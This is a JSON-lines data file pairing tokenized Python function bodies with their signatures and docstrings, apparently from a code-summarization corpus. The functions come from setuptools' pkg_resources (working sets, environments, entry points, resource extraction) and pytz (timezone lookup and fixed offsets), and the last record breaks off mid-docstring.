{"signature": "def iter_entry_points(self, group, name=None):", "body": "for dist in self:<EOL><INDENT>entries = dist.get_entry_map(group)<EOL>if name is None:<EOL><INDENT>for ep in list(entries.values()):<EOL><INDENT>yield ep<EOL><DEDENT><DEDENT>elif name in entries:<EOL><INDENT>yield entries[name]<EOL><DEDENT><DEDENT>", "docstring": "Yield entry point objects from `group` matching `name`\n\n        If `name` is None, yields all entry points in `group` from all\n        distributions in the working set, otherwise only ones matching\n        both `group` and `name` are yielded (in distribution order).", "id": "f17162:c6:m4"}
{"signature": "def run_script(self, requires, script_name):", "body": "ns = sys._getframe(<NUM_LIT:1>).f_globals<EOL>name = ns['<STR_LIT>']<EOL>ns.clear()<EOL>ns['<STR_LIT>'] = name<EOL>self.require(requires)[<NUM_LIT:0>].run_script(script_name, ns)<EOL>", "docstring": "Locate distribution for `requires` and run `script_name` script", "id": "f17162:c6:m5"}
{"signature": "def __iter__(self):", "body": "seen = {}<EOL>for item in self.entries:<EOL><INDENT>for key in self.entry_keys[item]:<EOL><INDENT>if key not in seen:<EOL><INDENT>seen[key]=<NUM_LIT:1><EOL>yield self.by_key[key]<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Yield distributions for non-duplicate projects in the working set\n\n        The yield order is the order in which the items' path entries were\n        added to the working set.", "id": "f17162:c6:m6"}
{"signature": "def add(self, dist, entry=None, insert=True):", "body": "if insert:<EOL><INDENT>dist.insert_on(self.entries, entry)<EOL><DEDENT>if entry is None:<EOL><INDENT>entry = dist.location<EOL><DEDENT>keys = self.entry_keys.setdefault(entry,[])<EOL>keys2 = self.entry_keys.setdefault(dist.location,[])<EOL>if dist.key in self.by_key:<EOL><INDENT>return      <EOL><DEDENT>self.by_key[dist.key] = dist<EOL>if dist.key not in keys:<EOL><INDENT>keys.append(dist.key)<EOL><DEDENT>if dist.key not in keys2:<EOL><INDENT>keys2.append(dist.key)<EOL><DEDENT>self._added_new(dist)<EOL>", "docstring": "Add `dist` to working set, associated with `entry`\n\n        If `entry` is unspecified, it defaults to the ``.location`` of `dist`.\n        On exit from this routine, `entry` is added to the end of the working\n        set's ``.entries`` (if it wasn't already present).\n\n        `dist` is only added to the working set if it's for a project that\n        doesn't already have a distribution in the set.  If it's added, any\n        callbacks registered with the ``subscribe()`` method will be called.", "id": "f17162:c6:m7"}
{"signature": "def resolve(self, requirements, env=None, installer=None):", "body": "requirements = list(requirements)[::-<NUM_LIT:1>]  <EOL>processed = {}  <EOL>best = {}  <EOL>to_activate = []<EOL>while requirements:<EOL><INDENT>req = requirements.pop(<NUM_LIT:0>)   <EOL>if req in processed:<EOL><INDENT>continue<EOL><DEDENT>dist = best.get(req.key)<EOL>if dist is None:<EOL><INDENT>dist = self.by_key.get(req.key)<EOL>if dist is None:<EOL><INDENT>if env is None:<EOL><INDENT>env = Environment(self.entries)<EOL><DEDENT>dist = best[req.key] = env.best_match(req, self, installer)<EOL>if dist is None:<EOL><INDENT>raise DistributionNotFound(req)  <EOL><DEDENT><DEDENT>to_activate.append(dist)<EOL><DEDENT>if dist not in req:<EOL><INDENT>raise VersionConflict(dist,req) <EOL><DEDENT>requirements.extend(dist.requires(req.extras)[::-<NUM_LIT:1>])<EOL>processed[req] = True<EOL><DEDENT>return to_activate<EOL>", "docstring": "List all distributions needed to (recursively) meet `requirements`\n\n        `requirements` must be a sequence of ``Requirement`` objects.  `env`,\n        if supplied, should be an ``Environment`` instance.  If\n        not supplied, it defaults to all distributions available within any\n        entry or distribution in the working set.  `installer`, if supplied,\n        will be invoked with each requirement that cannot be met by an\n        already-installed distribution; it should return a ``Distribution`` or\n        ``None``.", "id": "f17162:c6:m8"}
{"signature": "def find_plugins(self,<EOL>plugin_env, full_env=None, installer=None, fallback=True<EOL>):", "body": "plugin_projects = list(plugin_env)<EOL>plugin_projects.sort()  <EOL>error_info = {}<EOL>distributions = {}<EOL>if full_env is None:<EOL><INDENT>env = Environment(self.entries)<EOL>env += plugin_env<EOL><DEDENT>else:<EOL><INDENT>env = full_env + plugin_env<EOL><DEDENT>shadow_set = self.__class__([])<EOL>list(map(shadow_set.add, self))   <EOL>for project_name in plugin_projects:<EOL><INDENT>for dist in plugin_env[project_name]:<EOL><INDENT>req = [dist.as_requirement()]<EOL>try:<EOL><INDENT>resolvees = shadow_set.resolve(req, env, installer)<EOL><DEDENT>except ResolutionError as v:<EOL><INDENT>error_info[dist] = v    <EOL>if fallback:<EOL><INDENT>continue    <EOL><DEDENT>else:<EOL><INDENT>break       <EOL><DEDENT><DEDENT>else:<EOL><INDENT>list(map(shadow_set.add, resolvees))<EOL>distributions.update(dict.fromkeys(resolvees))<EOL>break<EOL><DEDENT><DEDENT><DEDENT>distributions = list(distributions)<EOL>distributions.sort()<EOL>return distributions, error_info<EOL>", "docstring": "Find all activatable distributions in `plugin_env`\n\n        Example usage::\n\n            distributions, errors = working_set.find_plugins(\n                Environment(plugin_dirlist)\n            )\n            map(working_set.add, distributions)  # add plugins+libs to sys.path\n            print \"Couldn't load\", errors        # display errors\n\n        The `plugin_env` should be an ``Environment`` instance that contains\n        only distributions that are in the project's \"plugin directory\" or\n        directories. The `full_env`, if supplied, should be an ``Environment``\n        contains all currently-available distributions.  If `full_env` is not\n        supplied, one is created automatically from the ``WorkingSet`` this\n        method is called on, which will typically mean that every directory on\n        ``sys.path`` will be scanned for distributions.\n\n        `installer` is a standard installer callback as used by the\n        ``resolve()`` method. The `fallback` flag indicates whether we should\n        attempt to resolve older versions of a plugin if the newest version\n        cannot be resolved.\n\n        This method returns a 2-tuple: (`distributions`, `error_info`), where\n        `distributions` is a list of the distributions found in `plugin_env`\n        that were loadable, along with any other distributions that are needed\n        to resolve their dependencies.  `error_info` is a dictionary mapping\n        unloadable plugin distributions to an exception instance describing the\n        error that occurred. Usually this will be a ``DistributionNotFound`` or\n        ``VersionConflict`` instance.", "id": "f17162:c6:m9"}
{"signature": "def require(self, *requirements):", "body": "needed = self.resolve(parse_requirements(requirements))<EOL>for dist in needed:<EOL><INDENT>self.add(dist)<EOL><DEDENT>return needed<EOL>", "docstring": "Ensure that distributions matching `requirements` are activated\n\n        `requirements` must be a string or a (possibly-nested) sequence\n        thereof, specifying the distributions and versions required.  The\n        return value is a sequence of the distributions that needed to be\n        activated to fulfill the requirements; all relevant distributions are\n        included, even if they were already activated in this working set.", "id": "f17162:c6:m10"}
{"signature": "def subscribe(self, callback):", "body": "if callback in self.callbacks:<EOL><INDENT>return<EOL><DEDENT>self.callbacks.append(callback)<EOL>for dist in self:<EOL><INDENT>callback(dist)<EOL><DEDENT>", "docstring": "Invoke `callback` for all distributions (including existing ones)", "id": "f17162:c6:m11"}
{"signature": "def __init__(self, search_path=None, platform=get_supported_platform(), python=PY_MAJOR):", "body": "self._distmap = {}<EOL>self._cache = {}<EOL>self.platform = platform<EOL>self.python = python<EOL>self.scan(search_path)<EOL>", "docstring": "Snapshot distributions available on a search path\n\n        Any distributions found on `search_path` are added to the environment.\n        `search_path` should be a sequence of ``sys.path`` items.  If not\n        supplied, ``sys.path`` is used.\n\n        `platform` is an optional string specifying the name of the platform\n        that platform-specific distributions must be compatible with.  If\n        unspecified, it defaults to the current platform.  `python` is an\n        optional string naming the desired version of Python (e.g. ``'2.4'``);\n        it defaults to the current version.\n\n        You may explicitly set `platform` (and/or `python`) to ``None`` if you\n        wish to map *all* distributions, not just those compatible with the\n        running platform or Python version.", "id": "f17162:c7:m0"}
{"signature": "def can_add(self, dist):", "body": "return (self.python is None or dist.py_version is None<EOL>or dist.py_version==self.python)and compatible_platforms(dist.platform,self.platform)<EOL>", "docstring": "Is distribution `dist` acceptable for this environment?\n\n        The distribution must match the platform and python version\n        requirements specified when this environment was created, or False\n        is returned.", "id": "f17162:c7:m1"}
{"signature": "def remove(self, dist):", "body": "self._distmap[dist.key].remove(dist)<EOL>", "docstring": "Remove `dist` from the environment", "id": "f17162:c7:m2"}
{"signature": "def scan(self, search_path=None):", "body": "if search_path is None:<EOL><INDENT>search_path = sys.path<EOL><DEDENT>for item in search_path:<EOL><INDENT>for dist in find_distributions(item):<EOL><INDENT>self.add(dist)<EOL><DEDENT><DEDENT>", "docstring": "Scan `search_path` for distributions usable in this environment\n\n        Any distributions found are added to the environment.\n        `search_path` should be a sequence of ``sys.path`` items.  If not\n        supplied, ``sys.path`` is used.  Only distributions conforming to\n        the platform/python version defined at initialization are added.", "id": "f17162:c7:m3"}
{"signature": "def __getitem__(self,project_name):", "body": "try:<EOL><INDENT>return self._cache[project_name]<EOL><DEDENT>except KeyError:<EOL><INDENT>project_name = project_name.lower()<EOL>if project_name not in self._distmap:<EOL><INDENT>return []<EOL><DEDENT><DEDENT>if project_name not in self._cache:<EOL><INDENT>dists = self._cache[project_name] = self._distmap[project_name]<EOL>_sort_dists(dists)<EOL><DEDENT>return self._cache[project_name]<EOL>", "docstring": "Return a newest-to-oldest list of distributions for `project_name`", "id": "f17162:c7:m4"}
{"signature": "def add(self,dist):", "body": "if self.can_add(dist) and dist.has_version():<EOL><INDENT>dists = self._distmap.setdefault(dist.key,[])<EOL>if dist not in dists:<EOL><INDENT>dists.append(dist)<EOL>if dist.key in self._cache:<EOL><INDENT>_sort_dists(self._cache[dist.key])<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Add `dist` if we ``can_add()`` it and it isn't already added", "id": "f17162:c7:m5"}
{"signature": "def best_match(self, req, working_set, installer=None):", "body": "dist = working_set.find(req)<EOL>if dist is not None:<EOL><INDENT>return dist<EOL><DEDENT>for dist in self[req.key]:<EOL><INDENT>if dist in req:<EOL><INDENT>return dist<EOL><DEDENT><DEDENT>return self.obtain(req, installer)<EOL>", "docstring": "Find distribution best matching `req` and usable on `working_set`\n\n        This calls the ``find(req)`` method of the `working_set` to see if a\n        suitable distribution is already active.  (This may raise\n        ``VersionConflict`` if an unsuitable version of the project is already\n        active in the specified `working_set`.)  If a suitable distribution\n        isn't active, this method returns the newest distribution in the\n        environment that meets the ``Requirement`` in `req`.  If no suitable\n        distribution is found, and `installer` is supplied, then the result of\n        calling the environment's ``obtain(req, installer)`` method will be\n        returned.", "id": "f17162:c7:m6"}
{"signature": "def obtain(self, requirement, installer=None):", "body": "if installer is not None:<EOL><INDENT>return installer(requirement)<EOL><DEDENT>", "docstring": "Obtain a distribution matching `requirement` (e.g. via download)\n\n        Obtain a distro that matches requirement (e.g. via download).  In the\n        base ``Environment`` class, this routine just returns\n        ``installer(requirement)``, unless `installer` is None, in which case\n        None is returned instead.  This method is a hook that allows subclasses\n        to attempt other ways of obtaining a distribution before falling back\n        to the `installer` argument.", "id": "f17162:c7:m7"}
{"signature": "def __iter__(self):", "body": "for key in list(self._distmap.keys()):<EOL><INDENT>if self[key]: yield key<EOL><DEDENT>", "docstring": "Yield the unique project names of the available distributions", "id": "f17162:c7:m8"}
{"signature": "def __iadd__(self, other):", "body": "if isinstance(other,Distribution):<EOL><INDENT>self.add(other)<EOL><DEDENT>elif isinstance(other,Environment):<EOL><INDENT>for project in other:<EOL><INDENT>for dist in other[project]:<EOL><INDENT>self.add(dist)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % (other,))<EOL><DEDENT>return self<EOL>", "docstring": "In-place addition of a distribution or environment", "id": "f17162:c7:m9"}
{"signature": "def __add__(self, other):", "body": "new = self.__class__([], platform=None, python=None)<EOL>for env in self, other:<EOL><INDENT>new += env<EOL><DEDENT>return new<EOL>", "docstring": "Add an environment or distribution to an environment", "id": "f17162:c7:m10"}
{"signature": "def resource_exists(self, package_or_requirement, resource_name):", "body": "return get_provider(package_or_requirement).has_resource(resource_name)<EOL>", "docstring": "Does the named resource exist?", "id": "f17162:c9:m1"}
{"signature": "def resource_isdir(self, package_or_requirement, resource_name):", "body": "return get_provider(package_or_requirement).resource_isdir(<EOL>resource_name<EOL>)<EOL>", "docstring": "Is the named resource an existing directory?", "id": "f17162:c9:m2"}
{"signature": "def resource_filename(self, package_or_requirement, resource_name):", "body": "return get_provider(package_or_requirement).get_resource_filename(<EOL>self, resource_name<EOL>)<EOL>", "docstring": "Return a true filesystem path for specified resource", "id": "f17162:c9:m3"}
{"signature": "def resource_stream(self, package_or_requirement, resource_name):", "body": "return get_provider(package_or_requirement).get_resource_stream(<EOL>self, resource_name<EOL>)<EOL>", "docstring": "Return a readable file-like object for specified resource", "id": "f17162:c9:m4"}
{"signature": "def resource_string(self, package_or_requirement, resource_name):", "body": "return get_provider(package_or_requirement).get_resource_string(<EOL>self, resource_name<EOL>)<EOL>", "docstring": "Return specified resource as a string", "id": "f17162:c9:m5"}
{"signature": "def resource_listdir(self, package_or_requirement, resource_name):", "body": "return get_provider(package_or_requirement).resource_listdir(<EOL>resource_name<EOL>)<EOL>", "docstring": "List the contents of the named resource directory", "id": "f17162:c9:m6"}
{"signature": "def extraction_error(self):", "body": "old_exc = sys.exc_info()[<NUM_LIT:1>]<EOL>cache_path = self.extraction_path or get_default_cache()<EOL>err = ExtractionError(", "docstring": "Give an error message for problems extracting file(s)", "id": "f17162:c9:m7"}
{"signature": "def get_cache_path(self, archive_name, names=()):", "body": "extract_path = self.extraction_path or get_default_cache()<EOL>target_path = os.path.join(extract_path, archive_name+'<STR_LIT>', *names)<EOL>try:<EOL><INDENT>ensure_directory(target_path)<EOL><DEDENT>except:<EOL><INDENT>self.extraction_error()<EOL><DEDENT>self.cached_files[target_path] = <NUM_LIT:1><EOL>return target_path<EOL>", "docstring": "Return absolute location in cache for `archive_name` and `names`\n\n        The parent directory of the resulting path will be created if it does\n        not already exist.  `archive_name` should be the base filename of the\n        enclosing egg (which may not be the name of the enclosing zipfile!),\n        including its \".egg\" extension.  `names`, if provided, should be a\n        sequence of path name parts \"under\" the egg's extraction location.\n\n        This method should only be called by resource providers that need to\n        obtain an extraction location, and only for names they intend to\n        extract, as it tracks the generated names for possible cleanup later.", "id": "f17162:c9:m8"}
{"signature": "def postprocess(self, tempname, filename):", "body": "if os.name == '<STR_LIT>':<EOL><INDENT>mode = ((os.stat(tempname).st_mode) | <NUM_LIT>) & <NUM_LIT><EOL>os.chmod(tempname, mode)<EOL><DEDENT>", "docstring": "Perform any platform-specific postprocessing of `tempname`\n\n        This is where Mac header rewrites should be done; other platforms don't\n        have anything special they should do.\n\n        Resource providers should call this method ONLY after successfully\n        extracting a compressed resource.  They must NOT call it on resources\n        that are already in the filesystem.\n\n        `tempname` is the current (temporary) name of the file, and `filename`\n        is the name it will be renamed to by the caller after this routine\n        returns.", "id": "f17162:c9:m9"}
{"signature": "def set_extraction_path(self, path):", "body": "if self.cached_files:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>self.extraction_path = path<EOL>", "docstring": "Set the base path where resources will be extracted to, if needed.\n\n        If you do not call this routine before any extractions take place, the\n        path defaults to the return value of ``get_default_cache()``.  (Which\n        is based on the ``PYTHON_EGG_CACHE`` environment variable, with various\n        platform-specific fallbacks.  See that routine's documentation for more\n        details.)\n\n        Resources are extracted to subdirectories of this path based upon\n        information given by the ``IResourceProvider``.  You may set this to a\n        temporary directory, but then you must call ``cleanup_resources()`` to\n        delete the extracted files when done.  There is no guarantee that\n        ``cleanup_resources()`` will be able to remove all extracted files.\n\n        (Note: you may not change the extraction path for a given resource\n        manager once resources have been extracted, unless you first call\n        ``cleanup_resources()``.)", "id": "f17162:c9:m10"}
{"signature": "def cleanup_resources(self, force=False):", "body": "<EOL>", "docstring": "Delete all extracted resource files and directories, returning a list\nof the file and directory names that could not be successfully removed.\nThis function does not have any concurrency protection, so it should\ngenerally only be called when the extraction path is a temporary\ndirectory exclusive to a single process.  This method is not\nautomatically called; you must call it explicitly or register it as an\n``atexit`` function if you wish to ensure cleanup of a temporary\ndirectory used for extractions.", "id": "f17162:c9:m11"}
{"signature": "def __init__(self, importer):", "body": "self.zipinfo = zipimport._zip_directory_cache[importer.archive]<EOL>self.zip_pre = importer.archive+os.sep<EOL>self.loader = importer<EOL>if importer.prefix:<EOL><INDENT>self.module_path = os.path.join(importer.archive, importer.prefix)<EOL><DEDENT>else:<EOL><INDENT>self.module_path = importer.archive<EOL><DEDENT>self._setup_prefix()<EOL>", "docstring": "Create a metadata provider from a zipimporter", "id": "f17162:c17:m0"}
{"signature": "def parse(cls, src, dist=None):", "body": "try:<EOL><INDENT>attrs = extras = ()<EOL>name,value = src.split('<STR_LIT:=>',<NUM_LIT:1>)<EOL>if '<STR_LIT:[>' in value:<EOL><INDENT>value,extras = value.split('<STR_LIT:[>',<NUM_LIT:1>)<EOL>req = Requirement.parse(\"<STR_LIT>\"+extras)<EOL>if req.specs: raise ValueError<EOL>extras = req.extras<EOL><DEDENT>if '<STR_LIT::>' in value:<EOL><INDENT>value,attrs = value.split('<STR_LIT::>',<NUM_LIT:1>)<EOL>if not MODULE(attrs.rstrip()):<EOL><INDENT>raise ValueError<EOL><DEDENT>attrs = attrs.rstrip().split('<STR_LIT:.>')<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\",<EOL>src<EOL>)<EOL><DEDENT>else:<EOL><INDENT>return cls(name.strip(), value.strip(), attrs, extras, dist)<EOL><DEDENT>", "docstring": "Parse a single entry point from string `src`\n\n        Entry point syntax follows the form::\n\n            name = some.module:some.attr [extra1,extra2]\n\n        The entry name and module name are required, but the ``:attrs`` and\n        ``[extras]`` parts are optional", "id": "f17162:c20:m5"}
{"signature": "def parse_group(cls, group, lines, dist=None):", "body": "if not MODULE(group):<EOL><INDENT>raise ValueError(\"<STR_LIT>\", group)<EOL><DEDENT>this = {}<EOL>for line in yield_lines(lines):<EOL><INDENT>ep = cls.parse(line, dist)<EOL>if ep.name in this:<EOL><INDENT>raise ValueError(\"<STR_LIT>\", group, ep.name)<EOL><DEDENT>this[ep.name]=ep<EOL><DEDENT>return this<EOL>", "docstring": "Parse an entry point group", "id": "f17162:c20:m6"}
{"signature": "def parse_map(cls, data, dist=None):", "body": "if isinstance(data,dict):<EOL><INDENT>data = list(data.items())<EOL><DEDENT>else:<EOL><INDENT>data = split_sections(data)<EOL><DEDENT>maps = {}<EOL>for group, lines in data:<EOL><INDENT>if group is None:<EOL><INDENT>if not lines:<EOL><INDENT>continue<EOL><DEDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>group = group.strip()<EOL>if group in maps:<EOL><INDENT>raise ValueError(\"<STR_LIT>\", group)<EOL><DEDENT>maps[group] = cls.parse_group(group, lines, dist)<EOL><DEDENT>return maps<EOL>", "docstring": "Parse a map of entry point groups", "id": "f17162:c20:m7"}
{"signature": "def requires(self,extras=()):", "body": "dm = self._dep_map<EOL>deps = []<EOL>deps.extend(dm.get(None,()))<EOL>for ext in extras:<EOL><INDENT>try:<EOL><INDENT>deps.extend(dm[safe_extra(ext)])<EOL><DEDENT>except KeyError:<EOL><INDENT>raise UnknownExtra(<EOL>\"<STR_LIT>\" % (self, ext)<EOL>)<EOL><DEDENT><DEDENT>return deps<EOL>", "docstring": "List of Requirements needed for this distro if `extras` are used", "id": "f17162:c21:m8"}
{"signature": "def activate(self,path=None):", "body": "if path is None: path = sys.path<EOL>self.insert_on(path)<EOL>if path is sys.path:<EOL><INDENT>fixup_namespace_packages(self.location)<EOL>list(map(declare_namespace, self._get_metadata('<STR_LIT>')))<EOL><DEDENT>", "docstring": "Ensure distribution is importable on `path` (default=sys.path)", "id": "f17162:c21:m10"}
{"signature": "def egg_name(self):", "body": "filename = \"<STR_LIT>\" % (<EOL>to_filename(self.project_name), to_filename(self.version),<EOL>self.py_version or PY_MAJOR<EOL>)<EOL>if self.platform:<EOL><INDENT>filename += '<STR_LIT:->'+self.platform<EOL><DEDENT>return filename<EOL>", "docstring": "Return what this distribution's standard .egg filename should be", "id": "f17162:c21:m11"}
{"signature": "def __getattr__(self,attr):", "body": "if attr.startswith('<STR_LIT:_>'):<EOL><INDENT>raise AttributeError(attr)<EOL><DEDENT>return getattr(self._provider, attr)<EOL>", "docstring": "Delegate all unrecognized public attributes to .metadata provider", "id": "f17162:c21:m14"}
{"signature": "def as_requirement(self):", "body": "return Requirement.parse('<STR_LIT>' % (self.project_name, self.version))<EOL>", "docstring": "Return a ``Requirement`` that matches this distribution exactly", "id": "f17162:c21:m16"}
{"signature": "def load_entry_point(self, group, name):", "body": "ep = self.get_entry_info(group,name)<EOL>if ep is None:<EOL><INDENT>raise ImportError(\"<STR_LIT>\" % ((group,name),))<EOL><DEDENT>return ep.load()<EOL>", "docstring": "Return the `name` entry point of `group` or raise ImportError", "id": "f17162:c21:m17"}
{"signature": "def get_entry_map(self, group=None):", "body": "try:<EOL><INDENT>ep_map = self._ep_map<EOL><DEDENT>except AttributeError:<EOL><INDENT>ep_map = self._ep_map = EntryPoint.parse_map(<EOL>self._get_metadata('<STR_LIT>'), self<EOL>)<EOL><DEDENT>if group is not None:<EOL><INDENT>return ep_map.get(group,{})<EOL><DEDENT>return ep_map<EOL>", "docstring": "Return the entry point map for `group`, or the full entry map", "id": "f17162:c21:m18"}
{"signature": "def get_entry_info(self, group, name):", "body": "return self.get_entry_map(group).get(name)<EOL>", "docstring": "Return the EntryPoint object for `group`+`name`, or ``None``", "id": "f17162:c21:m19"}
{"signature": "def insert_on(self, path, loc = None):", "body": "loc = loc or self.location<EOL>if not loc:<EOL><INDENT>return<EOL><DEDENT>if path is sys.path:<EOL><INDENT>self.check_version_conflict()<EOL><DEDENT>nloc = _normalize_cached(loc)<EOL>bdir = os.path.dirname(nloc)<EOL>npath= list(map(_normalize_cached, path))<EOL>bp = None<EOL>for p, item in enumerate(npath):<EOL><INDENT>if item==nloc:<EOL><INDENT>break<EOL><DEDENT>elif item==bdir and self.precedence==EGG_DIST:<EOL><INDENT>path.insert(p, loc)<EOL>npath.insert(p, nloc)<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>path.append(loc)<EOL>return<EOL><DEDENT>while <NUM_LIT:1>:<EOL><INDENT>try:<EOL><INDENT>np = npath.index(nloc, p+<NUM_LIT:1>)<EOL><DEDENT>except ValueError:<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>del npath[np], path[np]<EOL>p = np  <EOL><DEDENT><DEDENT>return<EOL>", "docstring": "Insert self.location in path before its nearest parent directory", "id": "f17162:c21:m20"}
{"signature": "def clone(self,**kw):", "body": "for attr in (<EOL>'<STR_LIT>', '<STR_LIT:version>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:location>',<EOL>'<STR_LIT>'<EOL>):<EOL><INDENT>kw.setdefault(attr, getattr(self,attr,None))<EOL><DEDENT>kw.setdefault('<STR_LIT>', self._provider)<EOL>return self.__class__(**kw)<EOL>", "docstring": "Copy this distribution, substituting in any changed keyword args", "id": "f17162:c21:m23"}
{"signature": "def __init__(self, project_name, specs, extras):", "body": "self.unsafe_name, project_name = project_name, safe_name(project_name)<EOL>self.project_name, self.key = project_name, project_name.lower()<EOL>index = [(parse_version(v),state_machine[op],op,v) for op,v in specs]<EOL>index.sort()<EOL>self.specs = [(op,ver) for parsed,trans,op,ver in index]<EOL>self.index, self.extras = index, tuple(map(safe_extra,extras))<EOL>self.hashCmp = (<EOL>self.key, tuple([(op,parsed) for parsed,trans,op,ver in index]),<EOL>frozenset(self.extras)<EOL>)<EOL>self.__hash = hash(self.hashCmp)<EOL>", "docstring": "DO NOT CALL THIS UNDOCUMENTED METHOD; use Requirement.parse()!", "id": "f17162:c22:m0"}
{"signature": "def open_resource(name):", "body": "if resource_stream is not None:<EOL><INDENT>return resource_stream(__name__, '<STR_LIT>' + name)<EOL><DEDENT>else:<EOL><INDENT>name_parts = name.lstrip('<STR_LIT:/>').split('<STR_LIT:/>')<EOL>for part in name_parts:<EOL><INDENT>if part == os.path.pardir or os.path.sep in part:<EOL><INDENT>raise ValueError('<STR_LIT>' % part)<EOL><DEDENT><DEDENT>filename = os.path.join(os.path.dirname(__file__),<EOL>'<STR_LIT>', *name_parts)<EOL>return open(filename, '<STR_LIT:rb>')<EOL><DEDENT>", "docstring": "Open a resource from the zoneinfo subdir for reading.\n\n    Uses the pkg_resources module if available.", "id": "f17165:m0"}
{"signature": "def timezone(zone):", "body": "if zone.upper() == '<STR_LIT>':<EOL><INDENT>return utc<EOL><DEDENT>try:<EOL><INDENT>zone = zone.encode('<STR_LIT>')<EOL><DEDENT>except UnicodeEncodeError:<EOL><INDENT>raise UnknownTimeZoneError(zone)<EOL><DEDENT>zone = _unmunge_zone(zone)<EOL>if zone not in _tzinfo_cache:<EOL><INDENT>if zone in all_timezones_set:<EOL><INDENT>_tzinfo_cache[zone] = build_tzinfo(zone, open_resource(zone))<EOL><DEDENT>else:<EOL><INDENT>raise UnknownTimeZoneError(zone)<EOL><DEDENT><DEDENT>return _tzinfo_cache[zone]<EOL>", "docstring": "r''' Return a datetime.tzinfo implementation for the given timezone \n\n    >>> from datetime import datetime, timedelta\n    >>> utc = timezone('UTC')\n    >>> eastern = timezone('US/Eastern')\n    >>> eastern.zone\n    'US/Eastern'\n    >>> timezone(u'US/Eastern') is eastern\n    True\n    >>> utc_dt = datetime(2002, 10, 27, 6, 0, 0, tzinfo=utc)\n    >>> loc_dt = utc_dt.astimezone(eastern)\n    >>> fmt = '%Y-%m-%d %H:%M:%S %Z (%z)'\n    >>> loc_dt.strftime(fmt)\n    '2002-10-27 01:00:00 EST (-0500)'\n    >>> (loc_dt - timedelta(minutes=10)).strftime(fmt)\n    '2002-10-27 00:50:00 EST (-0500)'\n    >>> eastern.normalize(loc_dt - timedelta(minutes=10)).strftime(fmt)\n    '2002-10-27 01:50:00 EDT (-0400)'\n    >>> (loc_dt + timedelta(minutes=10)).strftime(fmt)\n    '2002-10-27 01:10:00 EST (-0500)'\n\n    Raises UnknownTimeZoneError if passed an unknown zone.\n\n    >>> timezone('Asia/Shangri-La')\n    Traceback (most recent call last):\n    ...\n    UnknownTimeZoneError: 'Asia/Shangri-La'\n\n    >>> timezone(u'\\N{TRADE MARK SIGN}')\n    Traceback (most recent call last):\n    ...\n    UnknownTimeZoneError: u'\\u2122'", "id": "f17165:m1"}
{"signature": "def _unmunge_zone(zone):", "body": "return zone.replace('<STR_LIT>', '<STR_LIT:+>').replace('<STR_LIT>', '<STR_LIT:->')<EOL>", "docstring": "Undo the time zone name munging done by older versions of pytz.", "id": "f17165:m2"}
{"signature": "def _UTC():", "body": "return utc<EOL>", "docstring": "Factory function for utc unpickling.\n\n    Makes sure that unpickling a utc instance always returns the same \n    module global.\n\n    These examples belong in the UTC class above, but it is obscured; or in\n    the README.txt, but we are not depending on Python 2.4 so integrating\n    the README.txt examples with the unit tests is not trivial.\n\n    >>> import datetime, pickle\n    >>> dt = datetime.datetime(2005, 3, 1, 14, 13, 21, tzinfo=utc)\n    >>> naive = dt.replace(tzinfo=None)\n    >>> p = pickle.dumps(dt, 1)\n    >>> naive_p = pickle.dumps(naive, 1)\n    >>> len(p), len(naive_p), len(p) - len(naive_p)\n    (60, 43, 17)\n    >>> new = pickle.loads(p)\n    >>> new == dt\n    True\n    >>> new is dt\n    False\n    >>> new.tzinfo is dt.tzinfo\n    True\n    >>> utc is UTC is timezone('UTC')\n    True\n    >>> utc is timezone('GMT')\n    False", "id": "f17165:m3"}
{"signature": "def _p(*args):", "body": "return unpickler(*args)<EOL>", "docstring": "Factory function for unpickling pytz tzinfo instances.\n\n    Just a wrapper around tzinfo.unpickler to save a few bytes in each pickle\n    by shortening the path.", "id": "f17165:m4"}
{"signature": "def country_timezones(iso3166_code):", "body": "iso3166_code = iso3166_code.upper()<EOL>if not _country_timezones_cache:<EOL><INDENT>zone_tab = open_resource('<STR_LIT>')<EOL>for line in zone_tab:<EOL><INDENT>if line.startswith('<STR_LIT:#>'):<EOL><INDENT>continue<EOL><DEDENT>code, coordinates, zone = line.split(None, <NUM_LIT:4>)[:<NUM_LIT:3>]<EOL>try:<EOL><INDENT>_country_timezones_cache[code].append(zone)<EOL><DEDENT>except KeyError:<EOL><INDENT>_country_timezones_cache[code] = [zone]<EOL><DEDENT><DEDENT><DEDENT>return _country_timezones_cache[iso3166_code]<EOL>", "docstring": "Return a list of timezones used in a particular country.\n\n    iso3166_code is the two letter code used to identify the country.\n\n    >>> country_timezones('ch')\n    ['Europe/Zurich']\n    >>> country_timezones('CH')\n    ['Europe/Zurich']\n    >>> country_timezones(u'ch')\n    ['Europe/Zurich']\n    >>> country_timezones('XXX')\n    Traceback (most recent call last):\n    ...\n    KeyError: 'XXX'", "id": "f17165:m5"}
{"signature": "def FixedOffset(offset, _tzinfos = {}):", "body": "if offset == <NUM_LIT:0>:<EOL><INDENT>return UTC<EOL><DEDENT>info = _tzinfos.get(offset)<EOL>if info is None:<EOL><INDENT>info = _tzinfos.setdefault(offset, _FixedOffset(offset))<EOL><DEDENT>return info<EOL>", "docstring": "return a fixed-offset timezone based off a number of minutes.\n\n        >>> one = FixedOffset(-330)\n        >>> one\n        pytz.FixedOffset(-330)\n        >>> one.utcoffset(datetime.datetime.now())\n        datetime.timedelta(-1, 66600)\n\n        >>> two = FixedOffset(1380)\n        >>> two\n        pytz.FixedOffset(1380)\n        >>> two.utcoffset(datetime.datetime.now())\n        datetime.timedelta(0, 82800)\n\n    The datetime.timedelta must be between the range of -1 and 1 day,\n    non-inclusive.\n\n        >>> FixedOffset(1440)\n        Traceback (most recent call last):\n        ...\n        ValueError: ('absolute offset is too large', 1440)\n\n        >>> FixedOffset(-1440)\n        Traceback (most recent call last):\n        ...\n        ValueError: ('absolute offset is too large', -1440)\n\n    An offset of 0 is special-cased to return UTC.\n\n        >>> FixedOffset(0) is UTC\n        True\n\n    There should always be only one instance of a FixedOffset per timedelta.\n    This should be true for multiple creation calls.\n\n        >>> 